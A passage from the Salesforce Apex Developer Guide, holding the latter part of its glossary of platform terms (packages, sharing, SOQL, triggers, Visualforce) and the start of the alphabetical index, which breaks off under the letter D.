of other developers onAppExchange, similar to a domain name. Salesforce automatically prepends your namespace prefix, followed
by two underscores (__), to all unique component names in your Salesforce organization.
Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external services
or infrastructure.

O
Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information
you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your
organization will have multiple records that store the information about specific instances of that type of data. For example, you
might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information
about Mary Johnson's configuration issue.
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit
pages, as well as list views and related lists.
Object-Level Security
Settings that allow an administrator to hide whole objects from users so that they don't know that type of data exists. Object-level
security is specified with object permissions.
One-to-Many Relationship
A relationship in which a single object is related to many other objects. For example, an account may have one or more related
contacts.
Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer
of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.

2614

Glossary

Organization-Wide Defaults
Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can set
organization-wide defaults so that any user can see any record of a particular object that is enabled via their object permissions, but
they need extra permissions to edit one.
Outbound Call
Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.
Outbound Message
An outbound message sends information to a designated endpoint, like an external service. Outbound messages are configured
from Setup. You must configure the external endpoint and create a listener for the messages using the SOAP API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.

P
PaaS
See Platform as a Service.
Package
A group of Force.com components and applications that are made available to other organizations through the AppExchange. You
use packages to bundle an app along with any related components so that you can upload them to AppExchange together.
Package Dependency
This is created when one component references another component, permission, or preference that is required for the component
to be valid. Components can include but are not limited to:
Standard or custom fields
Standard or custom objects
Visualforce pages
Apex code
Permissions and preferences can include but are not limited to:
Divisions
Multicurrency
Record types
Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package
to make it generally available to the users in your organization.
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen
value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use
package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package. See also Patch and Patch Development Organization.

2615

Glossary

Partner WSDL
A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work
across multiple Salesforce organizations. With this WSDL, the developer is responsible for marshaling data in the correct object
representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular
data model or Salesforce organization. Contrast this with the Enterprise WSDL, which is strongly typed.
Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing
organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the
body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a patchNumber
appended to every package version. See also Patch Development Organization and Package Version.
Patch Development Organization
The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created
automatically for a developer organization when they request to create a patch. See also Patch and Package Version.
Personal Edition
Product designed for individual sales representatives and single users.
Platform as a Service (PaaS)
An environment where developers use programming tools offered by a service provider to create applications and deploy them in
a cloud. The application is hosted as a service and provided to customers via the Internet. The PaaS vendor provides an API for
creating and extending specialized applications. The PaaS vendor also takes responsibility for the daily maintenance, operation, and
support of the deployed application and each customer's data. The service alleviates the need for programmers to install, configure,
and maintain the applications on their own hardware, software, and related IT resources. Services can be delivered using the PaaS
environment to any market segment.
Platform Edition
A Salesforce edition based on Enterprise, Unlimited, or Performance Edition that does not include any of the standard Salesforce
apps, such as Sales or Service & Support.
Primary Key
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record.
This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one
table with the values of the primary key in another.
Production Organization
A Salesforce organization that has live users accessing data.
Professional Edition
A Salesforce edition designed for businesses who need full-featured CRM functionality.
Prototype
The classes, methods and variables that are available to other Apex code.

Q
Query Locator
A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that was
returned.
Query String Parameter
A name-value pair that's included in a URL, typically after a '?' character. For example:
https://yourInstance.salesforce.com/001/e?name=value

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R
Record
A single instance of a Salesforce object. For example, John Jones might be the name of a contact record.
Record ID
The unique identifier for each record.
Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the records that
the user is allowed to see.
Record Locking
Record locking prevents users from editing a record, regardless of field-level security or sharing settings. By default, Salesforce locks
records that are pending approval. Only admins can edit locked records.
Record Name
A standard field on all Salesforce objects. Whenever a record name is displayed in a Force.com application, the value is represented
as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does
not have to be a unique value.
Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a
specified field in both objects are used to link related data; for example, if one object stores data about companies and another
object stores data about people, a relationship allows you to find out which people work at the company.
Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child and
child-to-parent syntax differs in SOQL queries.
Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit information
owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
Roll-Up Summary Field
A field type that automatically provides aggregate values from child records in a master-detail relationship.
Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running user is a
specific user, all dashboard viewers see data based on the security settings of that userregardless of their own personal security
settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each user sees the dashboard
according to his or her own access level.

S
SaaS
See Software as a Service (SaaS).

2617

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S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created
s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can
still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser,
for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Salesforce Certificate and Key Pair
Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for
authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only
need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification that a request
is coming from a Salesforce organization.
Salesforce Record ID
A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.
Salesforce SOA (Service-Oriented Architecture)
A powerful capability of Force.com that allows you to make calls to external Web services from within Apex.
Sandbox
A nearly identical copy of a Salesforce production organization for development, testing, and training. The content and size of a
sandbox varies depending on the type of sandbox and the editioin of the production organization associated with the sandbox.
Semi-Join
A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced queries,
such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.
Session ID
An authentication token that is returned when a user successfully logs in to Salesforce. The Session ID prevents a user from having
to log in again every time he or she wants to perform another action in Salesforce. Different from a record ID or Salesforce ID, which
are terms for the unique ID of a Salesforce record.
Session Timeout
The period of time after login before a user is automatically logged out. Sessions expire automatically after a predetermined length
of inactivity, which can be configured in Salesforce from Setup by clicking Security Controls. The default is 120 minutes (two hours).
The inactivity timer is reset to zero if a user takes an action in the Web interface or makes an API call.
Setter Methods
Methods that assign values. See also Getter Methods.
Setup
A menu where administrators can customize and define organization settings and Force.com apps. Depending on your organizations
user interface settings, Setup may be a link in the user interface header or in the drop-down list under your name.
Sharing
Allowing other users to view or edit information you own. There are different ways to share data:
Sharing Modeldefines the default organization-wide access levels that users have to each others information and whether
to use the hierarchies when determining access to data.
Role Hierarchydefines different levels of users such that users at higher levels can view and edit information owned by or
shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
Sharing Rulesallow an administrator to specify that all information created by users within a given group or role is automatically
shared to the members of another group or role.
Manual Sharingallows individual users to share records with other users or groups.

2618

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Apex-Managed Sharingenables developers to programmatically manipulate sharing to support their applications behavior.
See Apex-Managed Sharing.
Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.
Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created
by users within a given group or role.
Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organizationwithout requiring users to log in with a username and password.
SOAP (Simple Object Access Protocol)
A protocol that defines a uniform way of passing XML-encoded data.
SOAP API
A SOAP-based Web services application programming interface that provides access to your Salesforce organization's information.
sObject
The abstract or parent object for all objects that can be stored in the Force.com platform.
Software as a Service (SaaS)
A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor
takes responsibility for the daily maintenance, operation, and support of the application and each customer's data. The service
alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT
resources. Services can be delivered using the SaaS model to any market segment.
SOQL (Salesforce Object Query Language)
A query language that allows you to construct simple but powerful query strings and to specify the criteria that should be used to
select data from the Force.com database.
SOSL (Salesforce Object Search Language)
A query language that allows you to perform text-based searches using the Force.com API.
Standard Object
A built-in object included with the Force.com platform. You can also build custom objects to store information that is unique to
your app.
System Log
Part of the Developer Console, a separate window console that can be used for debugging code snippets. Enter the code you want
to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as
how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also
displays debugging information.

T
Tag
In Salesforce, a word or short phrases that users can associate with most records to describe and organize their data in a personalized
way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents,
events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Tags can
also be accessed through the SOAP API.

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Test Case Coverage

Test cases are the expected real-world scenarios in which your code will be used. Test cases are not actual unit tests, but are documents
that specify what your unit tests should do. High test case coverage means that most or all of the real-world scenarios you have
identified are implemented as unit tests. See also Code Coverage and Unit Test.
Test Method
An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit
no data to the database, and can be executed by the runTests() system method either through the command line or in an
Apex IDE, such as the Force.com IDE.
Test Organization
See Sandbox.
Transaction, Apex
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either
complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the
database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a
custom Web service method.
Trigger
A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every
trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in
bulk modethat is, they process several records at once, rather than just one record at a time.
Trigger Context Variable
Default variables that provide access to information about the trigger and the records that caused it to fire.

U
Unit Test
A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it
works correctly. See also Test Method.
Unlimited Edition
Unlimited Edition is Salesforces solution for maximizing your success and extending that success across the entire enterprise through
the Force.com platform.
Unmanaged Package
A package that cannot be upgraded or controlled by its developer.
URL (Uniform Resource Locator)
The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com.
User Acceptance Testing (UAT)
A process used to confirm that the functionality meets the planned requirements. UAT is one of the final stages before deployment
to production.

V
Validation Rule
A rule that prevents a record from being saved if it does not meet the standards that are specified.

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Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes
and triggers; and Visualforce pages and components.
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the
platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The
components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their
own logic with a controller written in Apex.
Visualforce Controller
See Controller, Visualforce.
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can
also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be
associated with a CSS style.

W
Web Service
A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are
written in different languages, or are geographically remote from each other.
WebService Method
An Apex class method or variable that can be used by external systems, like a mash-up with a third-party application. Web service
methods must be defined in a global class.
Web Services API
A Web services application programming interface that provides access to your Salesforce organization's information. See also SOAP
API and Bulk API.
Automated Actions
Automated actions, such as email alerts, tasks, field updates, and outbound messages, can be triggered by a process, workflow rule,
approval process, or milestone.
Wrapper Class
A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class
makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across
components. Examples of wrapper classes in Salesforce include theAJAX Toolkit, which is a JavaScript wrapper around the Salesforce
SOAP API, wrapper classes such as CCritical Section in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes
created as part of a client integration application that accesses Salesforce using the SOAP API.
WSDL (Web Services Description Language) File
An XML file that describes the format of messages you send and receive from a Web service. Your development environment's SOAP
client uses the Salesforce Enterprise WSDL or Partner WSDL to communicate with Salesforce using the SOAP API.

2621

Glossary

X
XML (Extensible Markup Language)
A markup language that enables the sharing and transportation of structured data. All Force.com components that are retrieved or
deployed through the Metadata API are represented by XML definitions.

Y
No Glossary items for this entry.

Z
No Glossary items for this entry.

2622

INDEX
A
Abstract definition modifier 57
Access modifiers 61
Action
Chatter 285
create 285
QuickAction.QuickAction 2278
Action class
instantiation 599
Action link group templates
deleting 336
editing 335
packaging 337
Action Link Group Templates
design 324
Action link templates
creating 332
Action Links
authentication 316
define example 302
define in template example 306
labels 2598
overview 316
post example 302
post from template example 306
security 316
templates 324
use cases 320
versioning 316
working with 315
Adapters, Salesforce Connect 377
addError(), triggers 225
After triggers 209
Aggregate functions 148
AJAX support 269
ALL ROWS keyword 155
Anchoring bounds 510
Annotations
@testSetup 560
AuraEnabled 83
deprecated 83
future 84
HttpDelete 95
HttpGet 95
HttpPatch 95

Annotations (continued)
HttpPost 96
HttpPut 96
Invocablemethod 85
Invocablevariable 86
isTest 89
isTest(SeeAllData=true) 556
ReadOnly 92
RemoteAction 92
RestResource 94
testSetup 93
TestVisible 93
understanding 82
Anonymous blocks
transaction control 135
understanding 208
Ant tool 580
AnyType data type 27
Apex
asynchronous 226
designing 225
flow data type conversions 440
from WSDL 458, 461
how it works 4
introducing 1
invoking 207
learning 14
managed sharing 186
overview 2
testing 548549, 555, 557, 559
when to use 3
Apex Connector Framework
aggregation 392
authentication 388
callouts 389
considerations 396
example, Google Books 401
example, Google Drive 396
example, loopback 408
examples 396
External ID field, external object 387
filters 393
filters, compound 394
filters, evaluating 393
getting started 380
key concepts 386

2623

Index

Apex Connector Framework (continued)

named credentials 389
OAuth 388
paging 390
queryMore 390
queryMore, client-driven paging 391
queryMore, server-driven paging 391
sample DataSource.Connection class 380
sample DataSource.Provider class 385
setting up 386
Apex Jobs
Using the Queueable Interface 231
Apex REST API methods
exposing data 262
Apex Tools 448
ApexPages
namespace 598
ApexPages.Action
class 599
ApexPages.IdeaStandardController class
understanding 603
ApexPages.IdeaStandardSetController
class 605
ApexPages.KnowledgeArticleVersionStandardController
class 608
ApexPages.Message
class 612
ApexPages.StandardController
class 616
ApexPages.StandardSetController
class 621
prototype object 621
ApexTestQueueItem object 2558
ApexTestResult object 2560
ApexTestResultLimits object 2563
ApexTestRunResult object 2566
API calls, Web services
available for Apex 2558
compileAndTest 580, 585, 2568
compileClasses 585, 2572
compileTriggers 585, 2574
custom 253
executeanonymous 2574
executeAnonymous 208
retrieveCode 583
runTests 563, 2575
transaction control 135
when to use 3

API objects, Web services

ApexTestQueueItem 564
ApexTestResult 564
AppExchange
creating packages 2126, 2488
managed package versions 587
AppLauncher
namespace 630
AppLauncher.AppMenu
classes 630
Approval
namespace 632
Approval processes
approval methods 1942
example 286
overview 285
ProcessRequest class 635
ProcessResult class 637
ProcessSubmitRequest class 639
ProcessWorkitemRequest class 643
Approval.LockResult
classes 633
Approval.ProcessRequest
class 635
Approval.ProcessResult
class 637
Approval.ProcessSubmitRequest
class 639
Approval.ProcessWorkitemRequest
class 643
Approval.UnlockResult
classes 645
Arrays and lists 31
Assignment statements 47
Async Apex
Using the Queueable Interface 231
Asynchronous Apex
overview 226
Asynchronous callouts 227
asynchronous operations 351
AuraEnabled annotation 83
Auth
namespace 647
Auth.AuthProviderCallbackState
classes 656
Auth.AuthProviderPlugin
interfaces 658
Auth.AuthProviderTokenResponse
classes 660

2624

Index

Auth.AuthToken
class 663
Auth.AuthTokenConfiguration
class 648
Auth.CommunitiesUtil
class 667
Auth.ConnectedAppPlugin
classes 669
Auth.InvocationContext enum 674
Auth.RegistrationHandler
classes 679
interface 675
Auth.RegistrationHandler interface
createUser method 675
updateUser method 675
Auth.SamlJitHandler
interface 680
Auth.SessionLevel
enum 694
Auth.UserData
class 694
Auth.VerificationPolicy enum 699
Authentication
Custom Authentication Provider 287

B
Batch Apex
database object 1524
interfaces 240
schedule 233
using 240
Batch size, SOQL query for loop 155
Before triggers 209
Best practices
Apex 225
Apex scheduler 239
batch Apex 252
code coverage 577
programming 225
SOQL queries 151
testing 568
triggers 225
WebService keywords 254
Binds 153
Blob
data type 27
primitive data type 1954
Boolean
data type 27

Boolean (continued)
primitive data type 1956
Bounds, using with regular expressions 510
Bulk processing and triggers
retry logic and inserting records 214
understanding 214

C
cache
namespace 700
org data 359
session data 359
cache.Org
classes 701
cache.OrgPartition
classes 711
cache.Partition
classes 715
cache.Session
classes 723
cache.SessionPartition
classes 734
cache.Visibility enum 738
Callout
testing 468469
Callouts
asynchronous 84
defining from a WSDL 453
execution limits 273
HTTP 466
invoking 449
limit methods 2165
limitations 476
limits 476
merge fields 452
named credentials 449
remote site settings 449
testing 467
testing with DML 472
timeouts 476
Calls
runTests 563
Canvas
namespace 738
Canvas.ApplicationContext
interfaces 739
Canvas.CanvasLifecycleHandler
interfaces 742
Canvas.ContextDataType enum 744

2625

Index

Canvas.EnvironmentContext
interfaces 745
Canvas.RenderContext
interfaces 751
Canvas.Test
class 753
Capturing groups 511, 2212
Case sensitivity 38
Casting
collections 98
understanding 96
Certificates
generating 475
HTTP requests 476
SOAP 475
using 474
Chaining, constructor 79
Change sets 580
Character escape sequences 27
Chatter
Triggers 223
Chatter Answers
zones 293
Chatter feed elements 337
Chatter feed items 337
Chatter feeds 337
Chatter in Apex
bookmark a feed element 310
Communities 345
community scoped 296
edit a comment 313
edit a feed element 308
edit a question title and post 309
examples 294301, 308314
follow to a record 314
get community feed elements 296
get feed elements 295
guest users 345
like a feed element 309
Portals 345
post a batch of feed elements 300
post a batch of feed elements with a binary attachment 301
post a comment to a feed element 311
post a comment with a mention 311
post a comment with a new file 312
post a comment with an an existing file 311
post a feed element 296
post a feed element with a binary attachment 299
post a feed element with a mention 296

Chatter in Apex (continued)

post a feed element with existing files 297
post a rich-text feed element with code block 299
post a rich-text feed element with inline image 298
share a feed element 310
subscribe to a record 310, 314
testing 350
unfollow from a record 314
unsubscribe from a record 314
wildcards 349
Chatter Message Triggers 352
ChatterAnswers
namespace 757
ChatterAnswers.AccountCreator
interface 757
ChatterAnswers.AccountCreator Interface
createAccount method 757
Chunk size, SOQL query for loop 155
class 1171
Class
step by step walkthrough 1922, 24
System.Limits 2165
classes
EmailFileAttachment 1648
PushNotification 1666
Classes
annotations 82
ApexPages.Action 599
ApexPages.IdeaStandardController 603
ApexPages.IdeaStandardSetController 605
ApexPages.KnowledgeArticleVersionStandardController 608
ApexPages.Message 612
ApexPages.StandardController 616
ApexPages.StandardSetController 621
API version 106
AppLauncher.AppMenu 630
Approval.LockResult 633
Approval.ProcessRequest 635
Approval.ProcessResult 637
Approval.ProcessSubmitRequest 639
Approval.ProcessWorkitemRequest 643
Approval.UnlockResult 645
Auth.AuthProviderCallbackState 656
Auth.AuthProviderTokenResponse 660
Auth.AuthToken 663
Auth.AuthTokenConfiguration 648
Auth.CommunitiesUtil 667
Auth.ConnectedAppPlugin 669
Auth.RegistrationHandler 679

2626

Index

Classes (continued)
Auth.UserData 694
Blob 1954
Boolean 1956
cache.Org 701
cache.OrgPartition 711
cache.Partition 715
cache.Session 723
cache.SessionPartition 734
Canvas.Test 753
casting 96
collections 97
ConnectApi.ActionLInks 761
ConnectApi.Announcement 1366
ConnectApi.AnnouncementPage 1367
ConnectApi.Announcements 767
ConnectApi.BatchResult 1371
ConnectApi.Chatter 772
ConnectApi.ChatterFavorites 777
ConnectApi.ChatterFeeds 797
ConnectApi.ChatterGroups 1059
ConnectApi.ChatterUsers 1127
ConnectApi.Communities 1156
ConnectApi.CommunityModeration 1159
ConnectApi.Datacloud 1171
ConnectApi.ManagedTopics 1181
ConnectApi.Mentions 1193
ConnectApi.Organization 1199
ConnectApi.QuestionAndAnswers 1200
ConnectApi.Recommendations 1204
ConnectApi.Records 1265
ConnectApi.Topics 1267
ConnectApi.Zones 1311
constructors 60
Database.DeletedRecord 1493
Database.DeleteResult 1494
Database.DMLOptions 1496
Database.DmlOptions.AssignmentRuleHeader 1499
Database.DMLOptions.DuplicateRuleHeader 1501
Database.DmlOptions.EmailHeader 1502
Database.DuplicateError 1505
Database.EmptyRecycleBinResult 1507
Database.Error 1508
Database.GetDeletedResult 1510
Database.GetUpdatedResult 1511
Database.LeadConvert 1512
Database.LeadConvertResult 1520
Database.MergeResult 1523
Database.QueryLocator 1524

Classes (continued)
Database.QueryLocatorIterator 1526
Database.SaveResult 1527
Database.UndeleteResult 1530
Database.UpsertResult 1531
Datacloud.AdditionalInformationMap 1533
Datacloud.DuplicateResult 1534
Datacloud.FieldDiff 1539
Datacloud.MatchRecord 1540
Datacloud.MatchResult 1542
DataSource.AsyncDeleteCallback 1546
DataSource.AsyncSaveCallback 1547
DataSource.Column 1550
DataSource.ColumnSelection 1566
DataSource.Connection 1568
DataSource.ConnectionParams 1573
DataSource.DataSourceUtil 1577
DataSource.DeleteContext 1579
DataSource.DeleteResult 1580
DataSource.Filter 1583
DataSource.Order 1586
DataSource.Provider 1589
DataSource.QueryContext 1591
DataSource.QueryUtils 1593
DataSource.ReadContext 1596
DataSource.SearchContext 1597
DataSource.SearchUtils 1599
DataSource.Table 1600
DataSource.TableResult 1604
DataSource.TableSelection 1609
DataSource.UpsertContext 1611
DataSource.UpsertResult 1612
Date 2037
Datetime 2048
Decimal 2071
declaring variables 57
defining 56, 99
defining from a WSDL 453
defining methods 58
differences with Java 98
Dom.Document 1616
Dom.XmlNode 1619
Double 2084
Email 1644
example 70
Exception 2092
extending 68
from WSDL 458, 461
ID 2116

2627

Index

Classes (continued)
inbound email 356
InboundEmail.BinaryAttachment 1656
InboundEmail.Header 1665
InboundEmail.TextAttachment 1658
InboundEmailResult 1661
InboundEnvelope 1662
Integer 2129
interfaces 74
IsValid flag 99
KbManagement.PublishingService 1632
List 2182
Long 2198
Map 2200
messaging 1644
Messaging.RenderEmailTemplateBodyResult 1672
Messaging.RenderEmailTemplateError 1673
methods 58
naming conventions 100
precedence 104
Process.PluginDescribeResult 438, 1691
Process.PluginDescribeResult sample for lead conversion 440
Process.PluginDescribeResult.InputParameter 1694
Process.PluginDescribeResult.InputParameter class 438
Process.PluginDescribeResult.InputParameter sample for
lead conversion 440
Process.PluginDescribeResult.OutputParameter 1697
Process.PluginDescribeResult.OutputParameter class 438
Process.PluginDescribeResult.OutputParameter sample for
lead conversion 440
Process.PluginRequest 1699
Process.PluginResult 1700
properties 66
PushNotificationPayload 1669
QuickAction.DescribeAvailableQuickActionResult 1702
QuickAction.DescribeLayoutComponent 1703
QuickAction.DescribeLayoutItem 1705
QuickAction.DescribeLayoutRow 1707
QuickAction.DescribeLayoutSection 1708
QuickAction.DescribeQuickActionDefaultValue 1710
QuickAction.DescribeQuickActionResult 1711
QuickAction.QuickAction 2278
QuickAction.QuickActionDefaults 1717
QuickAction.QuickActionRequest 1721
QuickAction.QuickActionResult 1725
QuickAction.SendEmailQuickActionDefaults 1727
Reports.AggregateColumn 1732
Reports.BucketField 1734
Reports.BucketFieldValue 1741

Classes (continued)
Reports.CrossFilter 1746
Reports.DetailColumn 1753
Reports.Dimension 1754
reports.EvaluatedCondition 1754
Reports.FilterOperator 1758
Reports.FilterValue 1759
Reports.GroupingColumn 1760
Reports.GroupingInfo 1761
Reports.GroupingValue 1763
reports.NotificationActionContext 1766
Reports.ReportCsf 1768
Reports.ReportCurrency 1777
Reports.ReportDataCell 1778
Reports.ReportDescribeResult 1779
Reports.ReportDetailRow 1780
Reports.ReportDivisionInfo 1780
Reports.ReportExtendedMetadata 1781
Reports.ReportFact 1783
Reports.ReportFactWithDetails 1784
Reports.ReportFactWithSummaries 1785
Reports.ReportFilter 1786
Reports.ReportInstance 1790
Reports.ReportManager 1793
Reports.ReportMetadata 1798
Reports.ReportResults 1817
Reports.ReportScopeInfo 1820
Reports.ReportScopeValue 1821
Reports.ReportType 1822
Reports.ReportTypeColumn 1823
Reports.ReportTypeColumnCategory 1825
Reports.ReportTypeMetadata 1827
Reports.SortColumn 1828
Reports.StandardDateFilter 1830
Reports.StandardDateFilterDuration 1833
Reports.StandardDateFilterDurationGroup 1835
Reports.StandardFilter 1836
Reports.StandardFilterInfo 1838
Reports.StandardFilterInfoPicklist 1839
Reports.SummaryValue 1841
reports.ThresholdInformation 1842
Reports.TopRows 1843
Schema.ChildRelationship 1848
Schema.DataCategory 1850
Schema.DataCategoryGroupSobjectTypePair 1851
Schema.DescribeColorResult 1854
Schema.DescribeDataCategoryGroupResult 1855
Schema.DescribeDataCategoryGroupStructureResult 1858
Schema.DescribeFieldResult 1860

2628

Index

Classes (continued)
Schema.DescribeIconResult 1875
Schema.DescribeSObjectResult 1878
Schema.DescribeTabResult 1886
Schema.DescribeTabSetResult 1889
Schema.FieldSet 1894
Schema.FieldSetMember 1897
Schema.PicklistEntry 1899
Schema.RecordTypeInfo 1901
Schema.SObjectField 1904
Schema.sObjectType 1905
Search.KnowledgeSuggestionFilter 1908
Search.QuestionSuggestionFilter 1913
Search.SearchResult 1917
Search.SearchResults 1918
Search.SuggestionOption 1919
Search.SuggestionResult 1921
Search.SuggestionResults 1922
security 185
SendEmailError 1675
SendEmailResult 1676
SessionManagement 684
Set 2313
shadowing names 101
SingleEmailMessage 1663, 1677
site 423
sObject 2344
String 2365
system.Address 1934
System.Answers 1938
System.ApexPages 1940
System.Approval 1942
System.BusinessHours 1958
System.Cases 1961
System.Continuation 1964
System.Cookie 1968
System.Crypto 1973
System.Database 1996
System.EncodingUtil 2088
System.FlexQueue 2095
System.Http 2098
System.HttpRequest 2100
System.HttpResponse 2110
System.Ideas 2122
System.JSON 2131
System.JSONGenerator 2138
System.JSONParser 2152
system.Location 2195
System.Matcher 2212

Classes (continued)
System.Math 2224
System.Messaging 2250
System.MultiStaticResourceCalloutMock 2255
System.Network 2257
System.PageReference 2262
System.Pattern 2271
System.RemoteObjectController 2282
System.ResetPasswordResult 2285
System.RestContext 2286
System.RestRequest 2287
System.RestResponse 2293
System.Schema 2300
System.Search 2304
System.SelectOption 2307
System.Site 2324
System.StaticResourceCalloutMock 2363
System.System 2439
System.Test 2459
System.Time 2472
System.TimeZone 2477
System.Trigger 2480
System.Type 2482, 2511
System.URL 2491
System.UserInfo 2499
System.Version 2507
System.XmlStreamReader 2514
System.XmlStreamWriter 2528
TxnSecurity.Event 2539
type resolution 105
understanding 55
UserProvisioning.ConnectorTestUtil 2549
UserProvisioning.UserProvisioningLog 2550
UserProvisioning.UserProvisioningPlugin 2553
using constructors 60
variables 57
Visualforce 80
with sharing 81
without sharing 81
Classesn
InboundEmail 1650
Client certificates 474
Cloud Development, Apex 5
Code
security 199
system context 182
using sharing 182
Code coverage
best practices 577

2629

Index

Code coverage (continued)

overview 574
Collections
casting 98
classes 97
iterating 54
iteration for loops 54
lists 30
maps 30
sets 30
size limits 273
Comments 46
Community class 1938
compileAndTest call
See also deploy call 582
compileClasses call 585, 2572
compileTriggers call 585, 2574
Components
behavior versioning 588589
Compound expressions 40
ConnectApi
asynchronous operations 351
casting 348
Communities 345
context user 351
deserialization 348
equality 348
guest users 345
inputs 347
limits 347
outputs 347
Portals 345
serialization 348
system mode 351
versioning 348
with sharing keywords 351
without sharing keywords 351
ConnectAPI 759
ConnectApi.ActionLinks
class 761
ConnectApi.Announcement
classes 1366
ConnectApi.AnnouncementPage
classes 1367
ConnectApi.Announcements
class 767
ConnectApi.BatchResult
classes 1371

ConnectApi.Chatter
class 772
ConnectApi.ChatterFavorites
class 777
ConnectApi.ChatterFeeds
class 797
ConnectApi.ChatterGroups
class 1059
ConnectApi.ChatterMessages
class 1102
ConnectApi.ChatterUsers
class 1127
ConnectApi.Communities
class 1156
ConnectApi.CommunityModeration
class 1159
ConnectApi.Datacloud 1171
ConnectApi.ExternalEmailService
class 1176
ConnectApi.Knowledge
class 1177
ConnectApi.ManagedTopics
class 1181
ConnectApi.Mentions
class 1193
ConnectApi.Organization
class 1199
ConnectApi.QuestionAndAnswers
class 1200
ConnectApi.Recommendations
class 1204
ConnectApi.Records
class 1265
ConnectApi.Topics
class 1267
ConnectApi.UserProfiles
class 1301
ConnectApi.Zones
class 1311
Connectors, Salesforce Connect 377
Constants
about 38
defining 7778
Constructors
chaining 79
using 60
context user 351
Context variables
considerations 213

2630

Index

Context variables (continued)

trigger 211
Control Flow 50
Controllers, Visualforce
custom 267
extending 267
maintaining view state 80
transient keyword 80
understanding 267
Conventions 2604
Conversions 48
ConvertLead database method 1512
Custom classes 103
Custom labels 112
Custom settings
examples 1985
methods 1985
overview 205
Custom Types
sorting 107

D
Data Categories groups and structures
describing 172
Data in Apex 111
Data types
converting 48
primitive 27
sObject 112
understanding 27
Data types and variables 26
Database
namespace 1489
Database methods
delete 596
insert 594
system static 1996
